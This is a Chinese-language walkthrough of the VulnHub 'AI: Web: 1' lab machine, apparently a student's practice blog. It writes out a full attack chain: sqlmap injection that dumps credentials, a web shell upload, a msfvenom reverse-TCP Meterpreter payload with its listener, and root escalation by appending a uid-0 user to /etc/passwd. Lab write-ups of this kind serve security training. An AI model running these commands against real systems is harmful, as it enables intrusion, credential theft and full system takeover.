ai-web1网上也是打的很多了,这两天准备学校的选拔赛,决定练习一下 熟悉基本的流程

靶机地址:AI: Web: 1 ~ VulnHub

下载后通过vm打开文件夹就可以运行了。

如图:

1.nmap扫描寻找目标靶机

ifconfig查看自己的ip

扫描网段发现靶机

192.168.117.136 开了80端口

访问结果:

然后应该扫描目录,

看看有没有什么其他的发现了,用dirsearch 御剑都可以,但是我比较喜欢用Tsscan,之前遇到过dirsearch扫不出来的情况,我的字典太久没更新了。

扫到一个robots页面 进去查看

可以看到这两个页面直接访问无结果

再拿扫描工具扫一下

有一个phpinfo()页面,一个查询页面?

phpinfo这个页面先放着,后面可能有用。

先探查一下这个查询页面

ok,一眼sql既视感,bp抓包,sqlmap启动!

1后面打个*,表示注入点

1
python sqlmap.py -r 1.txt

很直接的注入,那就老三样了?

爆库名

1
python sqlmap.py -r 1.txt --dbs

爆表名

1
python sqlmap.py -r 1.txt -D "aiweb1" --tables

爆字段

1
python sqlmap.py -r 1.txt -D "aiweb1" -T "systemUser" --columns

我去,看看这架势,我不马上掏到了吗???有点兴奋哈√

开导数据。

1
python sqlmap.py -r 1.txt -D "aiweb1" -T "systemUser"  --dump

这里我已经开始幻想了,就这啊?这靶场有啥实力啊??一眼base64加密,拿去解密

1
2
3
t00r:FakeUserPassw0rd
aiweb1pwn:MyEvilPass_f908sdaf9_sadfasf0sa
u3er:N0tThis0neAls

对应用户密码,尝试登录靶场没成功,然后网站也并没有登录后台,啊这?我就知道不会这么自白

这种情况就应该要用sql注入拿shell了,但是这个条件有限制的,不过这都是靶场了。刚好满足

首先要有写入权限和绝对路径……好像是????不过之前那个phpinfo页面不就有绝对路径吗 这不就串起来了吗??

一般实战得到绝对路径,就是看报错和其他漏洞吧???按我的理解,不过我这种菜鸡找到一个sql就心满意足了,从来没有想过拿shell

可以看到有路径爆出,构造到当前这个注入的路径下,大概这样???

1
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

继续继续,开注开注!

1
python sqlmap.py -r 1.txt --os-shell

嘻嘻,下面就传马,我第一次传马就是写入

1
sqlmap -u -r 1.txt --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php

但是后面发现有更简单的方法,因为os-shell的原理就是上传了两个文件,一个文件来命令执行,一个命令来上传文件

上传的那个文件,又win了,然后的话我尝试传一句话木马,和冰蝎马,发现一句话马有用,冰蝎马连不上。

传一句话马然后用蚁剑连接吧,可惜蚁剑能连上,不然我就可以说 蚁剑顶真-马没了

然后的话,这里我的做法就不一样了,我传的msf的php马,因为我最开始想偷点懒,msf功能要多一点,同时大概率后面要提取,我就幻想等会直接 getsystem 秒了,唉,可惜我想的太好了。

下面开始生成 msf脚本吧

1
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.117.128 lport=4444 -o msf.php

嘻嘻,这边开始监听

1
2
3
4
5
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.117.128
run

把木马上传,访问那个页面就可以了。

如果上线,然后肯定要在这里面寻找flag的,然后权限有点不够,需要提权,然后我就兴致冲冲的getsystem

我去,这个模块生成的木马没有这个功能,笑嘻了。拿还能怎么办啊,偷不了懒了。

后续就是想了一下,又不想去找插件,也不是cs和msf的马,提权有点麻烦,看了看网上大佬们的解法,就是创建一个新用户,把这个用户写入root权限

写入root权限

1
2
3
4
5
6
shell #进入shell终端
openssl passwd -1 -salt abc abc#用openssl添加一个用户 abc 密码为 abc
$1$abc$czj10a8hEuHoKfs5PmF8// #/生成后/etc/passwd储存用户格式的文件
echo 'abc:$1$abc$czj10a8hEuHoKfs5PmF8//:0:0::/root:/bin/bash' >>/etc/passwd


就这写入成功了,开始尝试登录。但是在这之前要把这个终端升级到交互式终端,不然切换用户的这个这个命令 su 用不了

终端升级到交互式终端

1
python -c 'import pty;pty.spawn("/bin/bash")'

python属于之前信息收集的,如果走蚁剑那边的话,需要反弹shell,就有一种方法是利用python反弹shell

然后 su abc

输入密码,就登录成功了

find / -name flag* 模糊查找flag

1
2
3
4
5
cd /  #返回主目录

cd root #进入root 目录

cat falg.txts #读取flag文件

完结了,这个靶场,前面一部分,到msf上线成功是我自己做的,后面提权就是看的网上大佬们的解题思路,算是照猫画虎吧

但是这是第一个打的渗透靶场记录一次,vulnhub的靶场,还是有点真实的。